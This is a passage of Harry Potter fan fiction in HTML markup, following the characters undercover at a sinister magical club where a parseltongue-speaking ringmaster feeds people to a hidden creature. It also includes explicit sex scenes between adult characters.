resigned themselves to that same corner table.&nbsp; Ron had been talking \n  to an attractive brunette woman, who shot condescending arrows of disgust towards \n  Hermione and Cho.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho enjoyed this reaction \n  immensely.&nbsp; Ron&#8217;s lustful stares made her feel powerful, and Harry&#8217;s uneasiness \n  at watching her hand running through Hermione&#8217;s hair excited her.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Rising out of the middle \n  of the dance floor, the pulsing lights of Club Mistress seemed brighter then \n  they were before.&nbsp; They hoped that the fact that they had come prepared \n  with counter-potions would make them less vulnerable to whatever magic filled \n  the air between those walls.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The music was so loud tonight \n  that Cho&#8217;s voice was almost inaudible, even though she stood next to Hermione, \n  stroking her pretend lover.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; It didn&#8217;t take long for Locust \n  to spot them, her pale outrageousness next to Cho&#8217;s dark sensuality.&nbsp; She \n  and Cho strode across the room to the secluded corner where he stood watching \n  them.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho let her body brush full \n  against his.&nbsp; Hermione let her hand trace his fat repulsive face, swallowing \n  back the urge to vomit.&nbsp; Locust felt too cold, like he wasn&#8217;t alive.&nbsp; \n  He didn&#8217;t notice her loathing.&nbsp; He was lost&#8230;helpless&#8230; theirs.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione knew that it was \n  only a matter of time before they had to go back into that dark, dirty and cavernous \n  tunnel towards the back room.&nbsp;&nbsp; Relief flooded her when Locust motioned \n  to someone in the corner.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; When Ginny Weasley opened her eyes, \n  Draco Malfoy stood over her.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Narcissa is dead.&nbsp; \n  I&#8217;m going to have to run&#8230; he&#8217;ll figure it out soon,&#8221; he said, sounding strangely \n  distant.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He kissed her.&nbsp; Her \n  ginger lips tasted sweet on his tongue.&nbsp; She opened her mouth wider.&nbsp; \n  When she sat up to embrace him, her hands slipped behind his neck, bringing \n  his head to rest on her shoulder.&nbsp; Comforting him.&nbsp;&nbsp;&nbsp; He \n  breathed her in for a while, struggling with his thoughts.</p>\n<p style="line-height:150%">&nbsp; &nbsp;&nbsp;&nbsp; Draco let his hands fall \n  to Ginny&#8217;s back.&nbsp;&nbsp; She skipped a breath.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; A tiny freckle marked the \n  onset of her cleavage.&nbsp; He caressed it, and moved his hand, cupping her.&nbsp; \n</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She gazed at him, anxious \n  and interrogating, but remained silent.&nbsp; His hands slipped beneath the \n  thin fabric of her nightshirt.&nbsp; She didn&#8217;t find it strange that he would \n  want her now&#8230; that he would need to meld with something warm.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He pulled the garment down \n  her shoulders, and she sat before him, wantonly on display.&nbsp; He drank in \n  her exquisite vision.&nbsp; The color of her nipples were a pale pink, blending \n  with the overall pallor of her body.&nbsp; He was detailing every facet of her \n  features, the way her nose turned slightly upwards, and the way her fiery red \n  hair fell against her face.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She was still, her eyes piercing \n  through him, her sadness touching him in parts he didn&#8217;t know he had.&nbsp; \n</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; His mouth moved to taste \n  hers again.&nbsp; Her watery eyes remained open. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>She&#8217;s shedding my tears \n  for me</i>, he thought.&nbsp; It touched him intensely.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco fell on her, moaning \n  and crying into her skin.&nbsp; </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The red light of the back \n  room gave it a surreal, dangerous quality.&nbsp;&nbsp; Hermione and Cho sat \n  with Locust and Neville at the center of that strange universe.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho was next to Locust on \n  the threadbare sofa in the back; one leg sprawled across his lap, snaking down \n  between his legs.&nbsp;&nbsp; Hermione sat on Neville&#8217;s knee, letting her head \n  press against his chest, getting close enough to exchange desperately needed \n  information.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We need to get Harry back \n  here somehow,&#8221; Neville whispered to her, smiling as he put his arm around her \n  hip, &#8220;Perhaps we can do a switch.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why Harry specifically?&#8221; \n  Hermione asked, taking a sip of her drink.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How about you and I head \n  somewhere private before the show starts beautiful?&nbsp; We&#8217;ve got an hour&#8230;&#8221; \n  Neville said loud enough so Locust could hear him.&nbsp; The round man passed \n  him a knowing glance and nodded his approval, wanting to be more alone with \n  the exotic beauty he knew as Rasa.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione planted a kiss on \n  Neville&#8217;s lips.&nbsp; Neville flushed red, even at this charade, as he took \n  her hand and led her to a dirty rest area near the ringmaster&#8217;s office.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you have any polyjuice \n  potion?&#8221; he asked staring at her small purse.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just what&#8217;s in the Auror \n  kit&#8230;it&#8217;s the three hour concentrate,&#8221; Hermione said, glad that she hadn&#8217;t listened \n  when Cho said the kits were just dead weight, &#8220;But you never answered me&#8230; why \n  Harry?&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I heard the ringmaster speaking \n  in parseltounge,&#8221; Neville said, growing more anxious as he glanced at the clock.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She handed him a tiny vial \n  and he turned to leave.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, wait,&#8221; she said smearing \n  some of her lipstick on his shirt and tousling her hair a bit.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We have to make it look \n  good,&#8221; she said putting her arm through his before they walked out.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron were \n  sitting at the bar; experiencing d&#233;j&#224; vu, as they waited patiently for their \n  companions.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wonder if they play cards \n  back there,&#8221; Ron pondered out loud, glancing towards the door they had disappeared \n  through.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry wasn&#8217;t paying attention.&nbsp; \n  He was paying attention to the man who had just come through it a moment ago.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neville.&nbsp; Good to see \n  you again,&#8221; he said as the large man sat next to them.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron smiled.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Knew you&#8217;d still be kicking \n  around back there.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville smiled back at the \n  red head.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry&#8217;s eyes focused in on \n  the lipstick on Neville&#8217;s face and shirt.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;You got a chance to talk to the \n  girls I see,&#8221; Harry said, his voice going flat.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville didn&#8217;t blink.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We don&#8217;t have much time.&nbsp; \n  You and I need to go in the back.&nbsp; We need to exchange faces.&nbsp; Meet \n  me in the men&#8217;s room in five minutes.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron and Harry understood.&nbsp; \n  Ron ordered another drink.&nbsp; More waiting around for him, so he may as well \n  enjoy the calm while it lasted.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Had to take a leak&#8230;where \n  are the girls?&#8221; Harry said, still not used to being Neville, to the big burly \n  man whose name was Ivan.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ivan stood standing \n  at the entrance to the back room, taking in the scenery, waving playfully at \n  a short blonde woman who was losing badly in a card game.&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;Ivan \n  finished the drink he was milking and passed him a sly glance.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &nbsp; &#8220;Was that whore a nice lay?&#8221; \n  he asked crudely.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; Harry gritted his \n  teeth and forced a macho smirk.&nbsp; Ivan slapped him on the back.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;These guys are weirdoes, \n  but they pay well&#8230; and the ass is plentiful.&nbsp; You wouldn&#8217;t mind if I gave \n  her a whirl would you?&#8221; he slurred, leering at Hermione.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8220;Maybe next weekend.&nbsp; \n  She&#8217;s mine tonight though,&#8221; Harry replied.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; <i>Christ, what a \n  lowlife</i>, Harry thought, <i>I need to remind myself to find him after this \n  is all over and hex him into the next millennium.</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; Ivan nodded, \n  shrugging his shoulders as if it were no big deal.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; Hermione strolled \n  over to the two men, looking into Neville&#8217;s eyes.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; Harry forced himself \n  not to stare at her too long.&nbsp; He certainly didn&#8217;t want to have a <i>reaction</i> \n  while in Neville&#8217;s body.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Neville&#8217;s eyes were \n  the same, the expression was not.&nbsp; </p>\n<p style="line-height:150%">&nbsp; <i>&nbsp;&nbsp;&nbsp;&nbsp; Harry</i>, she \n  thought, taking his hand and leading him towards the blackjack table.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The shows about to start,&#8221; \n  she whispered to Harry, sitting down on his lap as the lights dipped lower and \n  the crowd began to cheer.</p>\n<p style="line-height:150%">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; It was different tonight, \n  she thought, as quiet music began to play and Locust began to dance around a \n  ring of fire.&nbsp; Cho was seated beside them, watching as Muggles around them \n  began to laugh uncontrollably.&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &nbsp; A fight broke out between \n  two men at the bar and the flames rose higher.&nbsp; The ringmaster grew more \n  excited.</p>\n<p style="line-height:150%">&nbsp; &nbsp;&nbsp; &#8220;Little slut!&nbsp; I saw you \n  staring at him!&#8221; a woman screamed at Cho, lunging at her with a wine goblet.&nbsp; \n  Cho threw her to the ground and restrained her.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; There was chaos again.&nbsp; \n  The ringmaster stood spraying small explosions over their heads.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry could hear him.&nbsp; \n  He could understand the ringmaster.&nbsp; Neville was right.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>Give us your hate mortal \n  vermin; feed our goddess, feed our beloved, and she will rule you. Give us your \n  souls&#8230;</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We don&#8217;t pay you to sit \n  and stare, I need you to take care of something,&#8221; Locust spat at Harry pointing \n  him towards a small office in the back.</p>\n<p style="line-height:150%">&nbsp; &nbsp;&nbsp;&nbsp; Harry nodded and quickly \n  looked back at Hermione and Cho, struggling to fight off the spells that didn&#8217;t \n  seem to affect him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry walked in behind Locust \n  and immediately noticed an Asian man slumped in a chair.&nbsp; His eyes were \n  blissfully glazed over, lifeless.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He owed us money and he&#8217;s \n  already dead.&nbsp; Here is the key&#8230; take the body to the locked room.&nbsp; \n  I&#8217;ll only warn you once not to linger too long,&#8221; Locust said.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<i>It&#8217;s time to feed her, \n  </i>hissed the ringmaster in parseltounge towards Locust<i>.&nbsp; </i></p>\n<p style="line-height:150%"><i>&nbsp;&nbsp;&nbsp;&nbsp; It will be done, </i>Locust \n  hissed back.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry held his breath and \n  lifted the man from the chair, dragging him towards the hallway.&nbsp; He groaned \n  with disgust at their callousness.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; At first he wondered which \n  room it was, but as the stench grew stronger, it became obvious.&nbsp; When \n  he reached the door he let the body fall to the ground, silently apologizing \n  to the deceased man.&nbsp; He unlocked it and opened the door slowly, almost \n  passing out from the odor.&nbsp; He pulled the cadaver through and looked around \n  the dark room.&nbsp; He could see nothing, but he felt something.&nbsp; &nbsp;&nbsp;Something \n  darted behind a large chair in the middle of the room.&nbsp; It didn&#8217;t come \n  into the light that the door was letting in.&nbsp; It was hissing and clamoring \n  as if it were whispering urgently to itself.&nbsp; &nbsp;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; Harry backed out of the room, deciding \n  to heed Locust&#8217;s advice and not meet the creature he was feeding.&nbsp; He locked \n  the door behind him.&nbsp;&nbsp; Harry&#8217;s knees buckled at the sound of tearing \n  flesh as he walked towards the main room again, to finish the show. &nbsp;</p>\n<p style="line-height:150%">&nbsp;&nbsp; He was surprised to find that the room&#8217;s \n  continuous hum of voices had gone nearly silent, replaced by quiet sobs&#8230;and \n  even more surprised to find Hermione being pulled into a corner by a short man \n  with sharp features, his arm wrapped possessively around her.&nbsp; Hermione \n  struggled against him some, but seemed lost in the fog along with everyone else \n  in the room.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry walked swiftly towards \n  them.</p>\n<p style="line-height:150%">&nbsp;&nbsp; &#8220;This lady is with me,&#8221; Harry said, grabbing \n  her arm and suddenly grateful for Neville&#8217;s intimidating build.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &nbsp;The man let go of her and walked \n  off towards another table, unconcerned, weepy eyed.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s eyes were red \n  with tears. &nbsp;A dark purple cloud was swirling above their heads.&nbsp; \n  Harry could feel the intensity.&nbsp; The counter - potions hadn&#8217;t worked on \n  Hermione.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where is Cho?&#8221; Harry asked, \n  searching the room while practically carrying Hermione.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione tried to shake the \n  feelings racing through her.&nbsp; It was like a tornado of emotions swirling \n  around inside.&nbsp; She was angry, sad, and confused. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry found Cho sitting in \n  a corner by herself sobbing loudly.&nbsp; Harry pulled her to her feet.&nbsp; \n</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Locust had joined the Ringmaster \n  again, and it looked as if they were about to end the show.&nbsp; It was the \n  perfect time to flee, when they couldn&#8217;t interrupt the frenzy to stop him.&nbsp; \n  Harry started to pull the girls towards the exit.&nbsp; Ivan was still standing \n  there.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m taking these two outside. \n  Be right back,&#8221; Harry said.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ivan was too caught up in \n  his own sorrow to care, nodding quickly as the three disappeared into the tunnel.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When they reached the other \n  side, Harry motioned to Ron who came over to help with the girls, still intoxicated \n  by the foreign magic.&nbsp; Hermione was the most affected, clinging to the \n  door as Harry pulled her away.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry was momentarily startled \n  to see himself standing beside Ron.&nbsp; He could never get used to that.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We need to get out of here.&nbsp; \n  I&#8217;ll owl Sirius tonight,&#8221; Harry declared.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville, Hermione and Cho \n  sat, two hours later, in Harry and Ron&#8217;s apartment trying frantically to put \n  together everything that they knew thus far.&nbsp; Fortunately, Neville and \n  Harry had managed to make it back with time enough to switch clothes again.&nbsp; \n  Neville had some real concerns about how tight Harry&#8217;s pants would fit on him \n  if they hadn&#8217;t.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; They knew some things for \n  certain; Harry was unaffected by their magic, the two leaders spoke parseltounge, \n  and they were apparently feeding people to a creature both Neville and Harry \n  had heard, but had never seen.&nbsp; They still couldn&#8217;t understand what that \n  had to do with a book that Hermione&#8217;s aunt possessed.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, we know that their \n  magic forces people to feel all of these things.&nbsp; No potion we took worked \n  to overpower them, although we seemed better off then the Muggles.&nbsp; At \n  least we knew we were under a spell,&#8221; Hermione said, suddenly conscious of how \n  little she had on as Harry&#8217;s eyes strained not to linger too long.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know we can&#8217;t go back \n  now, especially after being seen with Neville,&#8221; Cho said, sounding vaguely disappointed.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron nodded in agreement, \n  opening a bag of crisps.</p>\n<p style="line-height:150%">&nbsp;&nbsp; &nbsp;&nbsp; &#8220;I&#8217;m not sure that we need \n  to just yet.&nbsp; I think the first thing we need to do is try to figure out \n  what this thing is,&#8221; Harry said, putting his head between his hands.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho threw her legs onto Ron&#8217;s \n  lap, stretching out.&nbsp; He didn&#8217;t seem to mind her intrusion.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;Maybe this thing is some \n  sort of a Demon.&nbsp; And maybe that book can kill it, so it needs it,&#8221; she \n  muttered, stealing a crisp from Ron.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; They stopped and stared at \n  her.&nbsp; Hermione thought that Harry looked like he had been hit in the head \n  with an anvil.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&nbsp; Jesus, hadn&#8217;t \n  the thought occurred to anyone else?&nbsp; Not exactly rocket science is it? \n  Snakes, magic not belonging to Wizards, eating people&#8230; Sounds like a Bloody \n  Demon to me,&#8221; she continued, now popping the crisp in her mouth.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Demons are just myth.&nbsp; \n  They don&#8217;t actually exist,&#8221; Harry said, trying to hide his own doubt.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho yawned, and stretched \n  her arms above her head.&nbsp; Hermione, Neville, and Ron were frozen, still \n  thinking about the unthinkable.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, according to most \n  humans&#8230;neither do witches and wizards,&#8221; Cho said finally.</p>\n<p style="line-height:150%"><i>&nbsp;&nbsp;&nbsp;&nbsp; </i>Neville broke the \n  contemplative silence that followed.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m leaving before we pull \n  out the Ouija board.&nbsp; We&#8217;re all too tired to be rational tonight.&nbsp; \n  I&#8217;ll see you in the morning,&#8221; he said reaching for his coat wondering if his \n  girlfriend Danielle would still be awake.&nbsp; &nbsp;If so, she was probably \n  pretty pissed off. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho stood and grabbed her \n  coat as well.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m going too, this \n  dress is making me itch,&#8221; Cho said, scratching at her stomach.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>So take it off,</i> Ron \n  thought, letting his eyes trace her curves for the millionth time that night.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When Hermione stood to gather \n  her things, Cho snatched Hermione&#8217;s coat away.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh no!&nbsp; You two need \n  to talk&#8230; so hand me the keys,&#8221; she began, throwing her head back to look at \n  Harry.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Hermione knew better then \n  to argue.&nbsp; She gave up her car keys without a struggle.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho pulled Ron&#8217;s coat from \n  the rack and tossed it at him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s your lucky night red \n  head.&nbsp; I&#8217;m going to let you drive me home, and if your play nice, you might \n  get to stay.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; That was good enough for \n  Ron.&nbsp; Without a word, he was out the door following her like a brand new \n  puppy.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lucius looked his best.&nbsp; \n  He had the house elves fetch the finest dress robes for himself and his son.&nbsp; \n  They had to meet with his loyal circle tonight, and Lucius was going to allow \n  Draco to take his place next to his father.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Do a little <i>bonding, </i>if \n  you will.&nbsp; His lips curled up at the thought.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When he rounded the corner \n  to Draco&#8217;s room, he was surprised to find his son&#8217;s bed empty, neatly made up.&nbsp; \n  Draco&#8217;s cloak was gone, his wand missing.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lucius had the unsettling \n  feeling that his son wasn&#8217;t simply out for an evening walk.&nbsp; He threw his \n  fist onto Draco&#8217;s desk, shattering the lamp that illuminated the now vacant \n  room.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry and Hermione were alone.&nbsp; \n  They were best friends.&nbsp; Had been for years and years.&nbsp; From the moment \n  they first met, they shared an intimacy and trust that went deeper than anything \n  they knew with anyone else, including people they had dated.&nbsp; People they \n  had thought they loved.&nbsp; They had somehow been fortunate enough as friends \n  to experience that rare and precious gift of complete accord.&nbsp; They could \n  sit for hours on end, holding hands, speaking or not speaking, attuned to a \n  communication which could go from words to silence and back to words without \n  an interruption in the flow of thought.&nbsp; Unaware of themselves, they sometimes \n  struck suggestive postures, getting lost in each other&#8217;s eyes, their fingers \n  intertwined, sighing openly.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; It made sense somehow, but \n  Hermione wasn&#8217;t sure if she was capable of formulating and articulating the \n  nuances of their current situation, having made love the night before, and finding \n  themselves alone again now.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So&#8230;&#8221; was all she managed.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry felt a quick impulse \n  to go back to discussing the day&#8217;s events, but stifled it.&nbsp; They sat silent \n  for a moment, before Hermione decided to walk into the kitchen to grab a beer, \n  hoping it would loosen her tongue.&nbsp; Before Harry even realized what he \n  was doing, he moved towards her, stepping up behind her. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She wasn&#8217;t completely surprised.&nbsp; \n  She had felt him coming closer.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He put his hands on her shoulders.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She relaxed and leaned against \n  him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You were right, Hermione,&#8221; \n  he said, pulling her hair aside and kissing her neck, sweeping his lips over \n  her smooth sweet skin, &#8220;You aren&#8217;t my sister.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She sighed but said nothing.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He kissed her ear, his breath \n  getting heavier.&nbsp; She seemed to melt back into him.&nbsp; She tried to \n  turn around, wanting to feel his mouth on hers. He denied her, pressing his \n  lips instead onto the supple flesh of her neck again, feeling one of her arteries \n  beginning to throb faster, and faster still.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She turned to face him.</p>\n<p style="line-height:150%">&nbsp; &nbsp;&nbsp;&nbsp;He was growing hard so quickly \n  he was beginning to ache.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; Feeling his arousal, she pressed \n  her body closer to his and his hands moved over her breasts in tranquil exploration.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; They kissed.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; The kiss was slow and long, and \n  when they broke apart only to breathe, their eyes met.&nbsp; Hers were more \n  vivid, more alive then he&#8217;d ever seen them.&nbsp; No one had ever felt so warm \n  to him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He followed her from the \n  kitchen into his bedroom.&nbsp; He wished he&#8217;d cleaned up a bit, but she hardly \n  seemed to notice.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; She was laying on his bed now, \n  her thighs trembling, her beautiful breasts heaving, and her face a mask of \n  joyful anguish.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry began to undress her, \n  peeling away the whorish dress, revealing her.&nbsp; She looked like she was \n  made of sugar and cream.&nbsp; He let himself taste her again, darting his tongue \n  between her lips.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She undressed him, allowing \n  him to look at her fully, as she removed his jumper, then his trousers.&nbsp; \n  He helped her complete this task, pulling down his boxers.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She was seeing him for the \n  second time.&nbsp; She reached out to touch him, letting her hand wrap around \n  his erection, looking at him, touching him, and moving her mouth closer to him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; Harry closed his eyes.&nbsp; <i>Quidditch, \n  Dumbledore&#8217;s Wart, Snape, </i>was his mantra as he fought back the surge of \n  excitement that ripped through him when Hermione&#8217;s lips wrapped around his penis.&nbsp; \n  She was uneasy at first, and then quickly grew bolder taking him further into \n  her mouth.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; Her lips were slick and fluent \n  on his skin.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He wanted to return the favor.&nbsp; \n  He pulled away from her, shifting her knees apart, diving down to swallow her.&nbsp; \n  When she sucked in her breath, Harry knew he had found her clit.&nbsp; She stiffened \n  each time his tongue brushed across it, and every time he felt her shudder, \n  his resolve quickened.&nbsp; </p>\n<p style="line-height:150%">&nbsp; &nbsp;&nbsp;&nbsp;Harry had to be inside of \n  her.&nbsp; He moved up, looking down at her exhilarated face before pushing \n  himself between her legs and entering her, saying her name with a small gasp \n  of wonder, engulfed in her heat.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; They fell into a quick, satisfying \n  rhythm on the softly squeaking mattress beneath them, until they both came with \n  a tremendous shudder, tearing at flesh, panting, and finally clinging to one \n  another, lulled into a dreamless sleep by the sound of their slowing breath.</p>\n<hr size="1" width="33%" align="left">\n [1] Ephesians 5 &#8211; King James Version of the Holy Bible \n\n\n\n'),
